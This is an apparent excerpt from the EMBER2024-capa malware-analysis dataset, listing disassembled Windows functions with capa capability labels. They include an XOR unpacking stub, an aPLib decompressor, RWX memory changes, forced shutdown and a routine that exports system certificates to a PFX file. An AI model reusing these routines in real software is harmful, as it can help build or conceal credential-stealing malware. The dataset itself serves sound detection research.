joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40da73
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00404ad0
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x40da96
mov eax, edi
add eax, eax
call fcn.00402e24
mov esi, eax
jmp 0x40da98
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40dad1
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40dabb
mov eax, esp
cmp esi, eax
je 0x40dade
mov eax, esi
call fcn.00402e40
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40db18
cmp bl, 0
je 0x40db14
cmp bl, 0x41
jl 0x40db0f
cmp bl, 0x5a
jg 0x40db0f
or bl, 0x20
xor al, bl
inc esi
jmp 0x40daf3
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40da58

Function at 0x40e9f0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ea36
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0040e908
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
call sub.kernel32.dll_GetFileAttributesW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ea3d
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x40ec54
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40eceb
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x40ec9f
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW_1
mov ecx, eax
lea edx, [ebp - 0x20c]
mov eax, edi
call fcn.00405018
jmp 0x40ecd5
call sub.kernel32.dll_GetCommandLineW_1
mov ebx, eax
cmp word [ebx], 0
jne 0x40ecb8
lea eax, [ebp - 4]
xor edx, edx
call fcn.00404f30
jmp 0x40eccb
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0040eb14
mov ebx, eax
test esi, esi
je 0x40eccb
dec esi
jmp 0x40eca6
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ecf2
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x40ecfc
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryW
mov edx, ebx
mov eax, esp
call fcn.00408be8
add esp, 0x208
pop ebx
ret
Function at 0x40ee7c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40efb9
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x40efa3
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x40eed9
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x40efa3
cmp dword [ebp - 0x14], 0
jne 0x40eef0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404edc
mov bl, 1
jmp 0x40efa3
cmp dword [ebp - 0x14], 0x70000000
jb 0x40eefe
call fcn.0040c220
mov esi, dword [ebp - 0x14]
inc esi
shr esi, 1
lea eax, [ebp - 4]
mov ecx, esi
xor edx, edx
call fcn.00405018
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
call fcn.004056f0
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW_1
cmp eax, 0xea
je 0x40eea2
test eax, eax
jne 0x40efa3
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x40ef4c
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x40efa3
mov esi, dword [ebp - 0x14]
shr esi, 1
jmp 0x40ef54
dec esi
test esi, esi
je 0x40ef68
lea eax, [ebp - 4]
call fcn.00404990
cmp word [eax + esi*2 - 2], 0
je 0x40ef53
cmp dword [ebp - 0x10], 7
jne 0x40ef73
test esi, esi
je 0x40ef73
inc esi
lea eax, [ebp - 4]
mov edx, esi
call fcn.00405144
cmp dword [ebp - 0x10], 7
jne 0x40ef96
test esi, esi
je 0x40ef96
lea eax, [ebp - 4]
call fcn.004056f0
mov word [eax + esi*2 - 2], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404edc
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40efc0
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x40f9fc
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x41cd98
mov eax, esi
mov edx, 8
test al, 1
je 0x40fa18
shr eax, 1
xor eax, 0xedb88320
jmp 0x40fa1a
shr eax, 1
dec edx
jne 0x40fa0b
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40fa04
pop esi
ret

Function at 0x40fa30
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x41cd94], 0
jne 0x40fa53
call fcn.0040f9fc
push 1
push 0x41cd94
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x40fa7e
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x41cd98]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40fa59
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4114f4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004114a8
test al, al
jne 0x411515
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x411561
xor eax, eax
push ebp
push 0x411551
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404f68
push eax
call sub.kernel32.dll_DeleteFileW
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411558
lea eax, [ebp - 0xc]
call fcn.004114e4
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4117a0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4117a8
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x411895
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.0040ed28
mov edx, dword [ebp - 8]
mov ecx, 0x4118b0
xor eax, eax
call fcn.00411684
push 0
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x411863
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x4117c2
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.004112ac
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.004084ec
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0040f2d0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x60
call fcn.0041127c
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x406f80]
call fcn.0040c22c
call fcn.004040b0
jmp 0x4117c2
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41189c
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00404ed4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ed4
ret

Function at 0x4118c4
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
mov eax, dword [0x417d90]
cmp dword [eax], 2
jne 0x41192c
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x4118e7
xor eax, eax
jmp 0x41193b
lea eax, [esp + 8]
push eax
push 0x411940
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x41192c
xor eax, eax
jmp 0x41193b
push 0
push 2
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x14
ret
Function at 0x411968
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x4119c2
inc esi
xor edi, edi
cmp edi, 1
jne 0x41198e
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep_1
jmp 0x41199c
cmp edi, 1
jle 0x41199c
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep_1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004114f4
test eax, eax
jne 0x4119c2
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x4119c2
call sub.kernel32.dll_GetLastError
cmp eax, 3
je 0x4119c2
inc edi
dec esi
jne 0x41197e
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4119cc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 2
lea eax, [ebp - 4]
push eax
push 0x20001004
movzx eax, bx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x4119f0
mov eax, dword [ebp - 4]
jmp 0x4119f3
or eax, 0xffffffff
pop ebx
pop ecx
pop ebp
ret

Function at 0x4119f8
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], dl
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test esi, esi
je 0x411a45
xor ebx, ebx
jmp 0x411a3a
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, esi
call fcn.00407fac
test eax, eax
jne 0x411a39
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x411aef
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411a1b
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x411a51
je 0x411a5a
jmp 0x411a63
call fcn.0040f000
mov esi, eax
jmp 0x411a65
call sub.kernel32.dll_GetUserDefaultLangID
mov esi, eax
jmp 0x411a65
xor esi, esi
test si, si
je 0x411aef
xor ebx, ebx
jmp 0x411a8b
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, si
cmp eax, edx
jne 0x411a8a
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x411aef
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411a72
xor ebx, ebx
jmp 0x411ae4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, esi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x411ae3
mov eax, esi
and ax, 0x3ff
cmp ax, 4
jne 0x411ad8
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x28]
call fcn.004119cc
push eax
mov eax, esi
call fcn.004119cc
pop edx
cmp edx, eax
jne 0x411ae3
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x411aef
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411a9a
movzx eax, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x415294
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415369
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x415384
push ebx
push 0x415394
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405380
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x415314
mov al, 0x62
call fcn.00414f0c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00415268
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x41531d
call fcn.00415268
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415370
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x415484
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x41554f
jmp 0x415543
cmp dword [esi + 0x10], 0x1000
jne 0x41552f
test byte [esi + 0x15], 1
jne 0x41552f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4154e0
cmp ebp, 2
je 0x4154e0
cmp ebp, 0x10
je 0x4154e0
cmp ebp, 0x20
jne 0x4154fc
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4154fc
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x41550d
mov eax, dword [esi]
add eax, ebx
call fcn.0041547c
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x415500
cmp byte [esp + 4], 0
je 0x41552f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x41554f
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4154b5
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x42b83d38
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x37f1771e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x42c062
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov al, byte [ecx]
and dword [esp + 0x14], 0
push ebx
push ebp
mov byte [edx], al
lea eax, [edx + 1]
push esi
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
lea eax, [ecx + 1]
xor edi, edi
xor ebp, ebp
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.0042c00b
test eax, eax
je 0x42c1bb
lea ecx, [esp + 0x18]
call fcn.0042c00b
lea ecx, [esp + 0x18]
test eax, eax
je 0x42c12a
call fcn.0042c00b
test eax, eax
je 0x42c0ec
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.0042c00b
lea edi, [eax + edi*2]
dec ebx
jne 0x42c0c2
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x42c0e3
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x42c0e6
mov byte [edx], 0
inc edx
jmp 0x42c1cd
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x42c122
test ecx, ecx
je 0x42c1b6
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x42c114
jmp 0x42c1b2
xor ebp, ebp
inc ebp
jmp 0x42c1b6
call fcn.0042c041
test edi, edi
jne 0x42c15f
cmp eax, 2
jne 0x42c15a
lea ecx, [esp + 0x18]
call fcn.0042c041
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x42c1b6
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x42c14f
jmp 0x42c1b2
sub eax, 3
jmp 0x42c162
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.0042c041
mov ecx, eax
cmp esi, 0x7d00
jb 0x42c189
inc ecx
cmp esi, 0x500
jb 0x42c192
inc ecx
cmp esi, 0x80
jae 0x42c19d
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x42c1b6
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x42c1a9
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x42c1d3
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x42c092
sub edx, dword [esp + 0x14]
pop edi
mov eax, edx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42c358
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x42c38a
mov al, byte [esp + 0x14]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [esp + 0x10]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x42c36b
jmp 0x42c38e
mov eax, dword [esp + 0x10]
test edi, edi
je 0x42c398
xor byte [esi], al
inc esi
dec edi
jne 0x42c392
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x10052ed
Capabilities:
Parse pe header

Disassembly:
push 0x70
push 0x10016d0
call 0x10054f0
xor ebx, ebx
push ebx
mov edi, dword [0x1001038]
call edi
cmp word [eax], 0x5a4d
jne 0x100532a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100532a
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1005342
cmp eax, 0x20b
je 0x100532f
mov dword [ebp - 0x1c], ebx
jmp 0x1005356
cmp dword [ecx + 0x84], 0xe
jbe 0x100532a
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1005350
cmp dword [ecx + 0x74], 0xe
jbe 0x100532a
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [0x1001214]
pop ecx
or dword [0x100d324], 0xffffffff
or dword [0x100d328], 0xffffffff
call dword [0x1001218]
mov ecx, dword [0x100c1d0]
mov dword [eax], ecx
call dword [0x100121c]
mov ecx, dword [0x100c1cc]
mov dword [eax], ecx
mov eax, dword [0x1001220]
mov eax, dword [eax]
mov dword [0x100d32c], eax
call 0x10054e6
cmp dword [0x100c088], ebx
jne 0x10053b1
push 0x10054e6
call dword [0x1001224]
pop ecx
call fcn.010054cf
push 0x100c010
push 0x100c00c
call fcn.010054c4
mov eax, dword [0x100c1c8]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x100c1c4]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [0x100122c]
mov dword [ebp - 0x38], eax
push 0x100c008
push section..data
call fcn.010054c4
add esp, 0x24
mov eax, dword [0x4d001230]
pop edx
nop
add byte [ebx], al
add byte [eax], al
add byte [eax + eax], al
add byte [eax], al
invalid

Function at 0x401572
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov ecx, 0x18
push eax
dec ecx
je 0x4015b7
jmp 0x40157c
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x40414c], eax
push 0x64
push 0x404174
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x404160], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40417a
push 0x404174
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 0x30
mov edx, dword [0x404160]
mov dword [ebp - 0x48], edx
mov ecx, str.rigas
mov dword [ebp - 0x34], ecx
mov edx, 0x401c3b
mov dword [ebp - 0x54], edx
lea ecx, [ebp - 0x5c]
mov dword [ecx], eax
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x404160]
push eax
push eax
push 0x12e
push 0x82
push 0xdc
push 0xb4
push 0
lea eax, str.faterfly
push eax
mov eax, str.rigas
push eax
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x404170], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x404170]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor edi, edi
lea ebx, [ebp - 0x50]
jmp 0x401686
push ebx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x40167f
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10001000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ebx, ebx
mov dword [ebp - 8], ebx
call edi
push dword [ebp + 8]
mov esi, eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
lea eax, [eax + esi + 6]
push eax
push ebx
push dword [0x1002c0e0]
call edi
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x100011a9
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 4]
push dword [ebp + 8]
lea eax, [ecx + esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push ecx
mov byte [eax], 0x5c
mov byte [eax + 1], bl
call esi
push 0x1002de70
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax + 2]
push eax
push ebx
push dword [0x1002c0e0]
call edi
mov esi, eax
mov dword [ebp + 0xc], esi
cmp esi, ebx
je 0x10001199
mov ecx, dword [ebp + 8]
movsx ax, byte [ecx]
mov word [esi], ax
cmp ax, bx
je 0x100010ac
mov edx, esi
inc ecx
movsx ax, byte [ecx]
inc edx
inc edx
mov word [edx], ax
cmp ax, bx
jne 0x1000109d
push esi
push ebx
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreW]
mov dword [ebp + 8], eax
cmp eax, ebx
je 0x1000118b
mov edi, dword [sym.imp.CRYPT32.dll_CertEnumCertificatesInStore]
push ebx
push eax
xor esi, esi
call edi
cmp eax, ebx
je 0x1000117e
push eax
push dword [ebp + 8]
inc esi
call edi
cmp eax, ebx
jne 0x100010d3
cmp esi, ebx
je 0x1000117e
push 4
xor eax, eax
push ebx
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
mov edi, dword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
mov esi, 0x1002d8ec
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call edi
test eax, eax
je 0x1000117e
push dword [ebp - 0x14]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x1000117e
push 4
push ebx
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call edi
test eax, eax
je 0x1000116e
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000116e
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov esi, dword [ebp + 0xc]
push esi
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 4]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8